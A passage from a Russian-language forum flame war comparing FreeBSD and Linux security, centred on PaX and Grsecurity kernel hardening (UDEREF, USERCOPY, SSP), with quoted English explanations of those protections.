> продакшен серверов, которую можно и нужно сравнивать с Windows и Linux.Я помню, как после очередного обновления в рамках rolling release (или как они называют этот принцип) поймал на этой "платформе для продакшен серверов" бинарную несовместимость с кодом недельной давности - сменили значения констант флагов в fnctl. Помню, как после обновления vsftpd он стал подвисать при работе по ftps с большинством клиентского софта, а общепринятых способов отката на предыдущую версию порта там нет (?). Продакшен! Даже в лохматом Portage всё гораздо лучше.
> Весь этот зоопарк *BSD* ОС подобен зоопарку Linux платформ, только BSD
> более четко разделены меж собой по подходу.Да нет там никакого чёткого разделения. Это всё условности, граница между которыми на практике очень размыта. OpenBSD - форк NetBSD по причине разногласий. DragonFly BSD - форк FreeBSD по той же причине. Если там кто и разделён, то это разработчики. :)
> И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты
Любой принцип можно довести до абсурда, игнорируя даже чёткие доводы и наглядные примеры. Случай с безопасностью во FreeBSD как раз такой. Там просто гонятся за производительностью и функционалом, а положение неуловимых джо позволяет говорить и делать глупости.
> системы не может считаться достаточным для целого ряда программных ошибок, способных
> привести к компрометации системы или хранимой ею данных. Нет гарантии, что
> код, призванный защитить от проникновения, сам не послужит ступенькой для злоумышленника.Зато есть гарантия, что апостериори существующие ошибки с обращением по указателям на юзерспейс обеспечивают возможность компрометации. На практике, сколько уявзимостей было найдено в реализациях защиты от обращения по указателям в юзерспейс? Несоизмеримо меньше, чем уязвимостей _из-за_ отсутствия защиты от обращения по указателям в юзерспейс.
> Поэтому во FreeBSD разработчики кодовой базы избегают модных тенденций, портируя лишь
> зарекомендовавшие себя технологии.Ну, это просто неправда. Вот ZFS - давно она себя зарекомендовала?
> Чтобы мой ответ не послужил темой холивора, отметичу, что на сегоднешний день
> ни одна ОС не может считаться идеальной. Прекрасно представляю, насколько это
> касается FreeBSD, поскольку мне с ней приходится более всего работать. Профессионалы
> знают недостатки тех систем, с которыми работают. Именно это их кормит.
> Хотел бы узнать, какими ОС вы занимаетесь?Профессионалы должны уметь подбирать инструмент, по совокупности качеств наиболее подходящий для решения конркетных задач. И по этому критерию, из-за априорных суждених о "ручниках" вне контекста задачи профессионала в вас узнать сложно.
> Возможно, в последних версиях FreeBSD действительно появился аналог W^X, но я об
> этом ничего не слышал. Полтора года назад в 7.x ничего подобного
> не было. Но вы, скорее всего, имеете ввиду возможность вручную (из
> кода приложения) фактически маппить страницы без PROT_EXEC - в плане безопасности
> в общем случае это не даёт ничего.Про то и речь. Только с уточнением результата - для AMD64 нормально работает.
> И в чём смысл издёвки? Дать собеседнику понять, что он зря тратит
> время на троллей? По UDEREF для x86 есть документация на pax.grsecurity.net,
> по UDEREF для amd64 есть вводная в архивах рассылки Grsecurity. Плюс
> хелп в конфигураторе ядра для большинства механизмов защиты. Если интересно, изучайте
> - я для того все названия и привожу.В смысле архитектурно linux и freebsd отличаются. Настолько, что copyin/copyout - я уж и не припомню когда появились для freebsd. Я про то, что изначально не было разыменования user указателей для ядра. Изначально при использованиии copyin/copyout использовались проверки границ.
Троллинг может и имеет тут место, поскольку подозреваю, что в линуксе обязано было существовать подобное. Делаю выводы - видимо я не понял, про что шла речь. И хотя я походил по ссылкам через гугл-поводырь, но утомленные глаза уже щурятся от такого количества инородных букв. Если можно, коротко, от чего защищают UDEREF и USERCOPY? Например, если на пальцах?
> Знаете, есть задачи, где и 80% падение производительности оправдано, а вы о
> 5%... Например, вам лично важны эти 5% (допустим, что именно 5,
> а не 0.5 или 2) от скорости работы sudo? Или от
> скорости парсингда ASN.1 на этапе обработки сертификатов, при том что на
> последующих стадиях блочные шифры оптимизированы в ассемблере или сгружены на акселератор?
> Почитайте историю OpenSSL - в его парсере ASN.1 в принципе уже
> были уязвимости.Да, но проценты имеют свойство множиться друг на друга. И кстати, да - может именно 0.5%-2.0% - тут моя память есть очень непольшой.
> К тому же, никто не заставляет вас терпеть SSP там, где не
> хотите - просто собирайте без -fstack-protector[-all]. В Hardened Gentoo для этого
> можно просто выбрать профиль компилятора. Однако, во FreeBSD до недавнего времени
> (без сторонних патчей) нельзя было ничего собрать с SSP - выбора
> почти никакого. С патчами (в т.ч. для включения рандомизации) я и
> сам собирал, но это лишние затраты на сопровождение и риски, связанные
> с потенциально нестабильной (никем не протестированной) кодовой базой.Ага, это видел, правда сам не включал/не выключал.
> Да ну? В gdb 7.x есть поддержка PIE. В случае с PaX
> рандомизацию и MPROTECT можно отключить с пол пинка через paxctl. И
> так уж ручником? Лет 6 пользуюсь "ручниками", а тормоза наблюдал только
> по вине багов в коде основной ветки ядре, с безопасностью не
> связанных.Я - упертый фрибээздятник. Там gdb - 6.1.1, а вместо paxctl - отсутствие этого самого PaX.
> сих пор нигде и не появились, по большему счёту.
> PaX и Grsecurity в линуксе начались раньше, независимо. Это к слову.Еще раз, давайте про UDEREF и USERCOPY - что началось, где началось - чего они делают то в конце концов. Ссылка наверняка на русском есть. Почему не на английском? Можно и на английском, только не список рассылки или доски объявления, где вы как дома и знаете, что где. Мне linux от обилия только вам понятных слов интересней не станет (думаю, как и другим).
> Линукс уже работает на большем количестве платформ, и это не мешает ему
> служить для эффективного решения других задач. Тоже к слову.Ну с NetBSD все равно не сравнится. Тоже к слову.
> Экспериментальная ОС, в которой кластеризация - лишь следствие принятых подходов, направленных
> на совершенствование архитектуры и повышение эффективности параллельных вычислений.А кто спорит?
>> FreeBSD - это платформа для
>> продакшен серверов, которую можно и нужно сравнивать с Windows и Linux.
> Я помню, как после очередного обновления в рамках rolling release (или как
> они называют этот принцип) поймал на этой "платформе для продакшен серверов"
> бинарную несовместимость с кодом недельной давности - сменили значения констант флагов
> в fnctl. Помню, как после обновления vsftpd он стал подвисать при
> работе по ftps с большинством клиентского софта, а общепринятых способов отката
> на предыдущую версию порта там нет (?). Продакшен! Даже в лохматом
> Portage всё гораздо лучше.Ну это вы зря. Продакшены тоже разные бывают. Там, где ОС не меняется веками, обрастает мохом, и все равно работает, или где каждый день выходят новые затычки для ультрасовременных багов. Если я начну делать ОС на какой-то из существующих платформ с влючением внутрь "секрета пирога", то выберу простой понятный код который не требует предоставления исходников моего добра.
>> Весь этот зоопарк *BSD* ОС подобен зоопарку Linux платформ, только BSD
>> более четко разделены меж собой по подходу.
> Да нет там никакого чёткого разделения. Это всё условности, граница между которыми
> на практике очень размыта. OpenBSD - форк NetBSD по причине разногласий.
> DragonFly BSD - форк FreeBSD по той же причине. Если там
> кто и разделён, то это разработчики. :)И разногласия - религиозного порядка, согласен. Одним кажется, что правильно разбивать яйцо с острого конца, другим не нравится, что они тем самым корябают им стол. Но все равно, спроси, почему одним нравится один дистрибьютив линукса, чем другой - внятного ответа не дождешся. Ну разве что slackware - их позиция будет понятна.
>> И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты
> Любой принцип можно довести до абсурда, игнорируя даже чёткие доводы и наглядные
> примеры. Случай с безопасностью во FreeBSD как раз такой. Там просто
> гонятся за производительностью и функционалом, а положение неуловимых джо позволяет говорить
> и делать глупости.Почему же так резко прервались? Давайте уж тогда я продолжу: "...и простотой кода, который можно поддерживать относительно небольшим коллективом распределенных разработчиков. Ясность является дополнительной степенью защиты от закладок в коде"
> Зато есть гарантия, что апостериори существующие ошибки с обращением по указателям на
> юзерспейс обеспечивают возможность компрометации. На практике, сколько уявзимостей было
> найдено в реализациях защиты от обращения по указателям в юзерспейс? Несоизмеримо
> меньше, чем уязвимостей _из-за_ отсутствия защиты от обращения по указателям в
> юзерспейс.Указатели на юзерспейс? Из ядра? Ахтунг! Ахтунг! Альарм! Альарм! Надо подымать великого Ктулху, ибо девел не справился! Все идет к тому, как я понимаю, что в линукс указатели на юзерспейс на кольце ядра выполняются(выполнялись)? Теперь у меня есть один аргумент - почему не linux :)
>> Поэтому во FreeBSD разработчики кодовой базы избегают модных тенденций, портируя лишь
>> зарекомендовавшие себя технологии.
> Ну, это просто неправда. Вот ZFS - давно она себя зарекомендовала?Свободная файловая система, которая многими своими свойствами импонирует структуре ОС и её лицензии - зарекомендовала себя только так уже при первом приближении.
> Профессионалы должны уметь подбирать инструмент, по совокупности качеств наиболее подходящий для решения конркетных задач.
Не путайте профессионалов и мега-супер-универсалов-хатха-йоги-хари-кришна.
> И по этому критерию, из-за априорных суждених о "ручниках" вне контекста задачи профессионала в вас узнать сложно.
Вообще на момент заведения разговора о профессионалах, я уже говорил о вас. Но не беспокойтесь, если вы себя считаете недостоиным упоминания, то увяжу это со скромностью вашего характера. Сам такой ;) И вообще, наезд не засчитан :)
>[оверквотинг удален]
>> в общем случае это не даёт ничего.
> Про то и речь. Только с уточнением результата - для AMD64 нормально
> работает.
>> И в чём смысл издёвки? Дать собеседнику понять, что он зря тратит
>> время на троллей? По UDEREF для x86 есть документация на pax.grsecurity.net,
>> по UDEREF для amd64 есть вводная в архивах рассылки Grsecurity. Плюс
>> хелп в конфигураторе ядра для большинства механизмов защиты. Если интересно, изучайте
>> - я для того все названия и привожу.
> В смысле архитектурно linux и freebsd отличаются. Настолько, что copyin/copyout - я
> уж и не припомню когда появились для freebsd. Я про то,Да нет там никаких принципиальных различий, разница по сути в мелочах.
> что изначально не было разыменования user указателей для ядра.
Публично о классе этих уязвимостей начали говорить где-то с 2003 года. А уязвимости были изначально (и кстати эксплуатировались втихую до первых публикаций), спасала от них разве что сегментация (как раз на x86), и с функциями копирования в/из юзерспейса они никак не связаны.
> Изначально при использованиии copyin/copyout использовались проверки границ.
И в чём ваша мысль?
> Троллинг может и имеет тут место, поскольку подозреваю, что в линуксе обязано
> было существовать подобное. Делаю выводы - видимо я не понял, проТак и не понял, зачем или почему троллинг. Проехали.
> что шла речь. И хотя я походил по ссылкам через гугл-поводырь,
> но утомленные глаза уже щурятся от такого количества инородных букв. Если
> можно, коротко, от чего защищают UDEREF и USERCOPY? Например, если на
> пальцах?Процитирую отсюда:
http://www.grsecurity.net/~spender/uderef.txtmany kernel bugs can be exploited (at all
or more reliably) due to the fact that on i386 most OSs don't separate
the userland virtual address space from that of the kernel. this in
turn means that whenever userland can make the kernel (unexpectedly)
dereference a userland controlled pointer, userland can control the
data (and sometimes, control) flow of the kernel by virtue of providing
the attack data in its own userland address range as it's fully visible
in the kernel's virtual address space as well (the two virtual address
spaces are the same because of the use of flat segments and lack of
effective address space IDs in the i386 paging logic).В amd64 и многих других архитектурах сегментация отсутствует, так что оговорки про flat segments можно пропустить.
Реализация UDEREF вкратце описана здесь: http://grsecurity.net/pipermail/grsecurity/2010-April/001024...
Суть та же: не дать ядру случайно использовать данные, которые потенциальный злоумышелнник мог сформировать специально для вредоносного изменения хода выполнения кода в ядре.
По USERCOPY взято отсюда: http://grsecurity.net/news.php#develup
PAX_USERCOPY: this feature I developed (which was improved and added within PaX) performs bounds checking on kernel objects, when copying into or out of them via userland. The feature provides the most protection for objects located on the heap (the feature supports all current allocators: SLAB, SLUB, and SLOB, with the strictest checks existing for SLUB). For objects located on the stack, the bounds checking is less strict -- mainly to prevent infoleaking of the entire kernel's memory space. The bounds checking on stack objects will improve in future versions of the feature.
> Да, но проценты имеют свойство множиться друг на друга. И кстати, да
> - может именно 0.5%-2.0% - тут моя память есть очень непольшой.Ну вот, опять общие рассуждения. Там O(1), между прочим. И пока вы рассуждаете, у многих всё это работает, защищает от атак и не множится. Вот опять-таки к слову: на серьёзных объектах (местная краевая администрация) я наблюдал компрометацию FreeBSD 3.5.х и 4.х аж в 2001-ом или даже 2000-ом году. И с розовым взглядом неуловимого джо на мир расстался тогда же. И повезло ещё, что наследили - а то бы не и расстался.
> Ага, это видел, правда сам не включал/не выключал.
Но суть-то в том, что в линуксе выбор между SSP и её отсутствием есть уже давно, а во FreeBSD его практически не было. И пригодность её для решения отдельно взятых задач от этого тоже страдала.
> Я - упертый фрибээздятник. Там gdb - 6.1.1, а вместо paxctl -
> отсутствие этого самого PaX.Ну так получается, что проблемы самой FreeBSD вы объявляете общими и будто бы даже практически нерешаемыми. Включить в систему gdb 7.x или собирать его из портов кто мешает? А реализовать гибкое и простое управления механизмами защиты, как в PaX? Никто не машает. У разработчиков FreeBSD просто другие приоритеты. И вот что важно: публично они эти моменты нигде не разъясняют и тем самым косвенно вводят своих пользователей в заблуждение.
> Еще раз, давайте про UDEREF и USERCOPY - что началось, где началось
> - чего они делают то в конце концов. Ссылка наверняка на
> русском есть. Почему не на английском? Можно и на английском, только
> не список рассылки или доски объявления, где вы как дома и
> знаете, что где. Мне linux от обилия только вам понятных слов
> интересней не станет (думаю, как и другим).Выше дал цитаты и ссылки на нормальные объяснения.
>> Линукс уже работает на большем количестве платформ, и это не мешает ему
>> служить для эффективного решения других задач. Тоже к слову.
> Ну с NetBSD все равно не сравнится. Тоже к слову.Я слышал другое авторитетное (для меня) мнение. Впрочем, важно другое: вся ваша классификация BSD неверна по сути и по форме.
> А кто спорит?
Не знаю, кто спорит, но ваше "тождество" между DragonFly BSD и кластеризацией притянуто за уши и не учитывает экспериментального характера ОС - какие тут кластеры в продакшене?
> Ну это вы зря. Продакшены тоже разные бывают. Там, где ОС не
Ну вот, теперь вы перешли от общего случая к частному: уже не для продакшена (вообще), а для отдельно взятого. О том и речь.
> корябают им стол. Но все равно, спроси, почему одним нравится один
> дистрибьютив линукса, чем другой - внятного ответа не дождешся. Ну разве
> что slackware - их позиция будет понятна.Ну раз уж зашла речь: я, например, могу чётко обосновать свой выбор, критерии и факты, на основании которых я выбрал или забраковал тот или иной дистрибутив (не важно, какой ОС) для решения той или иной задачи.
>>> И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты
>> Любой принцип можно довести до абсурда, игнорируя даже чёткие доводы и наглядные
>> примеры. Случай с безопасностью во FreeBSD как раз такой. Там просто
>> гонятся за производительностью и функционалом, а положение неуловимых джо позволяет говорить
>> и делать глупости.
> Почему же так резко прервались? Давайте уж тогда я продолжу: "...и простотой
> кода, который можно поддерживать относительно небольшим коллективом распределенных разработчиков."Прервался" потому, что всё сказал.
PaX - набор сторонних патчей на постоянно развивающееся ядро, количество разработчиков - ОДИН. Grsecurity - тоже набор патчей на то же ядро, количество разработчиков - ОДИН. Итого ДВА человека успевают вовремя и качественно адаптировать и дополнять свои патчи на изменчивую и неподконтрольную им кодовую базу. Качество кода можете оценить сами:
http://www.grsecurity.net/~spender/grsecurity-2.2.0-2.6.35.7...> Ясность является дополнительной степенью защиты от закладок в коде"
И ясность тоже можете оценить. А о закладках - зачем они нужны, когда проще потратить меньшие деньги с меньшими рисками на поиск уязвимостей, от которых ядро FreeBSD никак не защищено?
> Указатели на юзерспейс? Из ядра? Ахтунг! Ахтунг! Альарм! Альарм! Надо подымать великого
> Ктулху, ибо девел не справился! Все идет к тому, как я
> понимаю, что в линукс указатели на юзерспейс на кольце ядра выполняются(выполнялись)?
> Теперь у меня есть один аргумент - почему не linux :)Шутки - шутками, но вот со стороны очень похоже, что ко многим, если не всем, высказанным здесь выводам вы пришли очень похожими рассуждениями. Для справки: уязвимости к обращению (термин "разыменование" мне не нравится) по нулевому указателю - частный случай уязвимости к обращению по указателю на юзерспейс. Для (а лучше до) просветления советую погуглить FreeBSD null pointer dereference vulnerability.
> Свободная файловая система, которая многими своими свойствами импонирует структуре ОС
> и её лицензии - зарекомендовала себя только так уже при первом
> приближении.Итак, глыба нестабильного, нарушающего каноны, кода ZFS была включена в ядро FreeBSD из соображений расширения функционала. Как-то это плохо стыкуется с вашей аргументацией против реализации механизмов защиты. ;)
> Не путайте профессионалов и мега-супер-универсалов-хатха-йоги-хари-кришна.
Я думаю, что не путаю.
s/Реализация UDEREF вкратце описана/Реализация UDEREF для amd64 вкратце описана/
Более внятное описание USERCOPY из хелпа к конфигу:
By saying Y here the kernel will enforce the size of heap objects
when they are copied in either direction between the kernel and
userland, even if only a part of the heap object is copied.Specifically, this checking prevents information leaking from the
kernel heap during kernel to userland copies (if the kernel heap
object is otherwise fully initialized) and prevents kernel heap
overflows during userland to kernel copies.Note that the current implementation provides the strictest checks
for the SLUB allocator.If frame pointers are enabled on x86, this option will also
restrict copies into and out of the kernel stack to local variables
within a single frame.Since this has a negligible performance impact, you should enable
this feature.
>PaX - набор сторонних патчей на постоянно развивающееся ядро, количество разработчиков - ОДИН. Grsecurity - тоже набор патчей на то же ядро, количество разработчиков - ОДИН. Итого ДВА человека успевают вовремя и качественно адаптировать и дополнять свои патчи на изменчивую и неподконтрольную им кодовую базу.Позвольте Вас дополнить и поправить.
Slo-Tech: Could you please describe in few words what is PaX and GRSecurity and how many people are involved in those projects.
Brad Spengler: PaX is a beast that has changed the shape of security drastically already and has even more tricks up its sleeve to change it even further sometime in the near future. It focuses itself with the generic eradication of exploitation against a number of bug classes. Some of that work is still incomplete, but that will (hopefully) change and then another 8 years from now everyone else will catch on. PaX focuses entirely on the exploitation of memory, whereas grsecurity adds in other host-based defenses and adds extra support to the features of PaX (bruteforce deterrence, anti-infoleaking of ASLR, not allowing arbitrary code execution at the filesystem level) that are needed to reap extra benefits from PaX. Grsecurity includes a lot of "set it and forget it"-type automatic features (the wiki has a listing) as well as an easy to use RBAC system that tries to make it easy to generate good policies via learning (per process, per user, or per system -- your choice) while at the same time trying to prevent the admin from shooting themselves in the foot (a large number of security checks are done against the policy at load time to prevent attack vectors that would make the entire point of using RBAC useless). The policies are human readable, and the error messages should be useful in describing attacks that are the reason for configuring the policy a particular way.
PaX has an unknown number of people involved! Hence PaX Team -- it's definitely at least one person :) For the grsecurity side it's just me. Occasionally I do get patch submissions (like from Zbyniu Krzystolik) or sponsors/friends will tell me something they want added to it, but other than that all the coding/new features etc are done by me.
> PaX has an unknown number of people involved! Hence PaX Team --
> it's definitely at least one person :) For the grsecurity sideНе совсем так. Из интервью с самим pipacs:
"I talked to a few friends about it and we decided to
do a windows version as that's what we were familiar with (speaking
of kernel internals). This is also the reason for the 'team' in the
name, even if the other guys dropped out soon afterwards to pursue
other interests."
> Хотел бы узнать, какими ОС вы занимаетесь?Сейчас - Hardened Gentoo и CentOS, очень редко другие дистрибутивы. Раньше - FreeBSD, OpenBSD и винда.
> Сейчас - Hardened Gentoo и CentOS, очень редко другие дистрибутивы.Ух ты, кажется я впервые в жизни вижу вменяемого пользователя Генту, способного озвучить достаточно весомый аргумент в пользу своего выбора :).
Что-то вы тут фантазируете. ни по одному из пунктов не согласен.
1)Да фряха значительно более подвержена локальным уязмимосятм но и и спользуется в основном как пакетогонялка, как дескто или интерактивные сервися ее мало
2)каковы критерии оценки качества кода ядер?
> Что-то вы тут фантазируете. ни по одному из пунктов не согласен.
> 1)Да фряха значительно более подвержена локальным уязмимосятм но и и спользуется в
> основном как пакетогонялка, как дескто или интерактивные сервися ее малоОна не только локальным подвержена - пользовательские процессы наиболее подвержены удалённым атакам. О пакетогонялках расскажите, например, Сысоеву, и давайте будем рассматривать универсальное применение, а не частные случаи.
> 2)каковы критерии оценки качества кода ядер?
Субъективно-эмпирические, с оглядкой на сложность кода с опубликованными уязвимостями (на сколько просто/сложно было не допустить ошибку, приведшую к уязвимости).
>> Что-то вы тут фантазируете. ни по одному из пунктов не согласен.
>> 1)Да фряха значительно более подвержена локальным уязмимосятм но и и спользуется в
>> основном как пакетогонялка, как дескто или интерактивные сервися ее мало
> Она не только локальным подвержена - пользовательские процессы наиболее подвержены удалённым
> атакам. О пакетогонялках расскажите, например, Сысоеву, и давайте будем рассматривать
> универсальное применение, а не частные случаи.всеже хотелось бы увидеть пример при помощи которого я удаленно подниму свои привилегии до супер-пользователя, об этом же речь, да?
> всеже хотелось бы увидеть пример при помощи которого я удаленно подниму свои
> привилегии до супер-пользователя, об этом же речь, да?Нет, не об этом речь. Но если взломщик заполучил права обычного пользователя и знает/умеет эксплуатировать неопубликованные уязвимости в ядре, то он и рута получит, и руткит при желании повесит. Именно так они и работают.
> Нет, не об этом речь. Но если взломщик заполучил права обычного пользователя
> и знает/умеет эксплуатировать неопубликованные уязвимости в ядре, то он и рута
> получит, и руткит при желании повесит. Именно так они и работают.дак а fbsd причем? или в линаксах еще где-то между вышеописанными шагами "чтение молитв торвалцу" присутствует?
> дак а fbsd причем? или в линаксах еще где-то между вышеописанными шагами
> "чтение молитв торвалцу" присутствует?В линуксе реализованы механизмы, затрудняющие и/или предотвращающие экслпуатацию некоторых классов уязвимостей - в некоторых случаях (а с PaX и Grsecurity - даже в большинстве) это позволяет свести более тяжкие последствия атак к DoS, а иногда и вовсе сделать атаку невозможной (как в случае с этой уязвимостью в glibc, например).
Для ясности: безопасность ванильного линукса лично я оцениваю очень низко (там просто не реализовано почти никаких механизмов защиты от эксплуатации вечнодырявого ядра, а юзерспейс-защиты - эрзац даже тех, что есть в RHEL/CentOS, не говоря о PaX и Grsecurity), но тем не менее эксплуатация некоторых уязвимостей по сравнению с FreeBSD может быть значительно затруднена даже там.
>> дак а fbsd причем? или в линаксах еще где-то между вышеописанными шагами
>> "чтение молитв торвалцу" присутствует?
> В линуксе реализованы механизмы, затрудняющие и/или предотвращающие экслпуатацию некоторых
> классов уязвимостей - в некоторых случаях (а с PaX и Grsecurity
> - даже в большинстве) это позволяет свести более тяжкие последствия атак
> к DoS, а иногда и вовсе сделать атаку невозможной (как в
> случае с этой уязвимостью в glibc, например).я пытаюсь понять зачем Вы пишете наборы фраз. то PaX и Grsecurity то
"Она не только локальным подвержена - пользовательские процессы наиболее подвержены удалённым атакам" (она - fbsd, напомню на случай если Вы ошиблись с дозировкой и уже все забыли)
Вы можете внятно объяснить свои мысли как-то по другому? То что вы поклоняетесь различным PaX, Grsecurity и прочим вещам уже давно все поняли, думаю.
> я пытаюсь понять зачем Вы пишете наборы фраз. то PaX и GrsecurityНет, вы просто хамите и либо не желаете понять, либо не обладаете даже базовым представлением.
> "Она не только локальным подвержена - пользовательские процессы наиболее подвержены удалённым
> атакам" (она - fbsd, напомню на случай если Вы ошиблись с
> дозировкой и уже все забыли)FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены эксплуатации уязвимостей к выполнению произвольного кода по сравнению с линуксом и особенно с Hardened Gentoo (или другими системами на базе ядер с PaX и Grsecurity).
> Вы можете внятно объяснить свои мысли как-то по другому? То что вы
> поклоняетесь различным PaX, Grsecurity и прочим вещам уже давно все поняли,
> думаю.Задавайте уточняющие вопросы - отвечу. Только без хамства, иначе отвечать не буду.
> FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo
> с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые
> сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены эксплуатации
> уязвимостей к выполнению произвольного кода по сравнению с линуксом и особенно
> с Hardened Gentoo (или другими системами на базе ядер с PaX
> и Grsecurity).знаете... меня больше практика интересует. Есть примеры? Где посмотреть статистику Ваших утверждений?
> знаете... меня больше практика интересует. Есть примеры? Где посмотреть статистику Ваших
> утверждений?Вас не практика интересует, а некие примеры и статистика, которые в реальном мире никто не создаёт и не собирает, и на отсутствии которых можно сделать акцент, не так ли?
Однако если вас действительно интересует практика, поинтересуйтесь у практиков - у исследователей и пентестеров с мировыми именами. Для этого достаточно обратиться с вопросами в листы рассылки, вроде Full-Disclosure или bugtraq, и попросить подписчиков (в т.ч. по именам) высказаться и/или дать материал к ознакомлению.
>> знаете... меня больше практика интересует. Есть примеры? Где посмотреть статистику Ваших
>> утверждений?
> Вас не практика интересует, а некие примеры и статистика, которые в реальном
> мире никто не создаёт и не собирает, и на отсутствии которых
> можно сделать акцент, не так ли?Все так и имеет место быть, и тем ни менее, в линухах рута получают чаще, чем во фрях и и линух не спасает ни одна защита, увы.
> Все так и имеет место быть, и тем ни менее, в линухах
> рута получают чаще, чем во фрях и и линух не спасает
> ни одна защита, увы.Чаще или нет - меня, например, вообще не интересует. Меня интересует, есть ли способы существенно, качественно усилить защиту ядра, и такие способы есть.
>> Все так и имеет место быть, и тем ни менее, в линухах
>> рута получают чаще, чем во фрях и и линух не спасает
>> ни одна защита, увы.
> Чаще или нет - меня, например, вообще не интересует. Меня интересует, есть
> ли способы существенно, качественно усилить защиту ядра, и такие способы есть.Ну да, когда куча детей сует свой код в ядро, действительно защищаться нужно, причем защита может быть разная: а. не принимать код, б. городить огород из копий, дабы детский код не наподгадил. В линуксе выбирают второе. Все это конечно не говорит, о том, что, подстраховываться не нужно, но...
> и тем ни менее,Еще один горе-аналитик. Как обычно - с ТУПЫМИ ошибками. Позор!
Интересно, а горе-аналитика не смущает что
1) Если поискать про FreeBSD в новостях, можно тоже интересненького найти.
2) Линух юзают побольше чем фрю как-то. Вроде логично что и взломов должно быть больше. Чем больше система юзается, тем больше желающих ее поиметь.
3) Защиты - они разные бывают. Сильно разные. Ну вон ось от Рутковской - это тоже типа защита. Только там контейнеры - временные. Ну раздолбали вы виртуалочку. А прога в оной доработала и контейнер убился. Вместе с вами и вашим доступом. Вы побыли рутом виртуалочки сколько-то минут. Ну, круто, ага. А на BSD такое же ультрапараноидальное решение сможете изобразить? ;)
> Рутковской - это тоже типа защита.На этот счёт есть разные мнения: http://archives.neohapsis.com/archives/dailydave/2010-q3/003...
> Еще один горе-аналитик. Как обычно - с ТУПЫМИ ошибками. Позор!юзер обиделся :) забавно.
> 1) Если поискать про FreeBSD в новостях, можно тоже интересненького найти.
можно, с этим кто-то спорит?
> 2) Линух юзают побольше чем фрю как-то. Вроде логично что и взломов
> должно быть больше. Чем больше система юзается, тем больше желающих ее
> поиметь.В линуксе, сейчас, дыры находят примерно с такой же частотой, как и в винде, следуя вашим же выводам, если линукс дорастет до винды, то рута там будут получать два раза в день, каждый раз через новые ошибки.
> 3) Защиты - они разные бывают. Сильно разные. Ну вон ось от
> Рутковской - это тоже типа защита. Только там контейнеры - временные.
> Ну раздолбали вы виртуалочку. А прога в оной доработала и контейнер
> убился. Вместе с вами и вашим доступом. Вы побыли рутом виртуалочки
> сколько-то минут. Ну, круто, ага. А на BSD такое же ультрапараноидальное
> решение сможете изобразить? ;)А в миниксе надежность лучше, сможете изобразить так же?
> В линуксе, сейчас, дыры находят примерно с такой же частотой, как и
> в винде, следуя вашим же выводам, если линукс дорастет до винды,
> то рута там будут получать два раза в день, каждый раз
> через новые ошибки.Только в отличие от винды, у линукса уже есть стабильная, проверенная временем реализация комплекснх механизмов защиты (PaX + Grsecurity), которой, при описанном развитии событий, откроется дорога во все дистрибутивы.
>> В линуксе, сейчас, дыры находят примерно с такой же частотой, как и
>> в винде, следуя вашим же выводам, если линукс дорастет до винды,
>> то рута там будут получать два раза в день, каждый раз
>> через новые ошибки.
> Только в отличие от винды, у линукса уже есть стабильная, проверенная временем
> реализация комплекснх механизмов защиты (PaX + Grsecurity), которой, при описанном развитии
> событий, откроется дорога во все дистрибутивы.Вы же в курсе, что в винде тоже постоянно изобретают "ловушки для своего кода", только это не сильно помогает?
> Вы же в курсе, что в винде тоже постоянно изобретают "ловушки для
> своего кода", только это не сильно помогает?Да, и я даже в курсе, у кого они списывают свои "ловушки", а также почему у них это плохо получается и почему хорошо получиться не может. ;)
>> Вы же в курсе, что в винде тоже постоянно изобретают "ловушки для
>> своего кода", только это не сильно помогает?
> Да, и я даже в курсе, у кого они списывают свои "ловушки",
> а также почему у них это плохо получается и почему хорошо
> получиться не может. ;)Хе, а вы мне уже начинаете нравиться :)
> юзер обиделся :) забавно.Обиделся? На кого? Я всего лишь не понимаю: зачем надо выступать с горе-аналитикой, попутно демонстрируя всем свои три класса образования? Очень зудит показать всем как выглядит EPIC FAIL? :))) Я все понимаю, но по три эпикфэйла на тред - перебор, а? :D.
>> 1) Если поискать про FreeBSD в новостях, можно тоже интересненького найти.
> можно, с этим кто-то спорит?Тогда не понятно что некоторым не нравится. Чисто технически в реальных линухах с реальными кернелами используется достаточно много мер по предотвращению некоторых видов уязвивмостей. Особенно в всяких ультрапараноидальных.
> В линуксе, сейчас, дыры находят примерно с такой же частотой, как и
> в винде, следуя вашим же выводам, если линукс дорастет до винды,Кхм, линукс давно перерос винду на тех же серверах. Его там извините намного больше. При том сервера - это очень интересные мишени. Мощные машины на толстых каналах с нефиговыми ресурсами. А не какие-то тормозные дслщики с глючным геймерским железом или там нетбуками вообще. А спам почему-то валится оптом именно с виндовых дслщиков. Ы?
> то рута там будут получать два раза в день, каждый раз через новые ошибки.
Дык на линуксе нынче серверов стоит куда больше чем на винде. Почему их тогда не рутают по 2 раза на день? Предпочитая в основном гасить ламерье в винде сплойтами на древние непатченые версии флеша, абоб ридера и ишака. Как-то наблюдаемые факты не коррелируют с вашей теорией.
> А в миниксе надежность лучше, сможете изобразить так же?
Смогу контрпример привести. Вот есть серваки, допустим. Скажем на одном из них заклинило вентиль и через сколько-то минут будет шатдаун по перегреву, например. Что нам предложит Миникс в плане надежности в таком случае? А в пингвине можно в ряде виртуализаторов или контейнеров простите просто подвинуть виртуалочки/контейнеры на соседний хост, так что никто ничего и не заметит. Ну понятно что там где ядерные реакторы - там и троекратное резервирование и отстрел по принципу "2 из 3" или что-то подобное никого не заломает, памятуя о последствиях. А вот на обычных серверах это как правило слишком жирно получается ;)
Был бы я не добрый сегодня, я бы поругался конечно :), но коли я уж добрый, опущу лишнее и не буду флеймить не по делу.> Кхм, линукс давно перерос винду на тех же серверах. Его там извините
> намного больше. При том сервера - это очень интересные мишени. Мощные
> машины на толстых каналах с нефиговыми ресурсами. А не какие-то тормозные
> дслщики с глючным геймерским железом или там нетбуками вообще. А спам
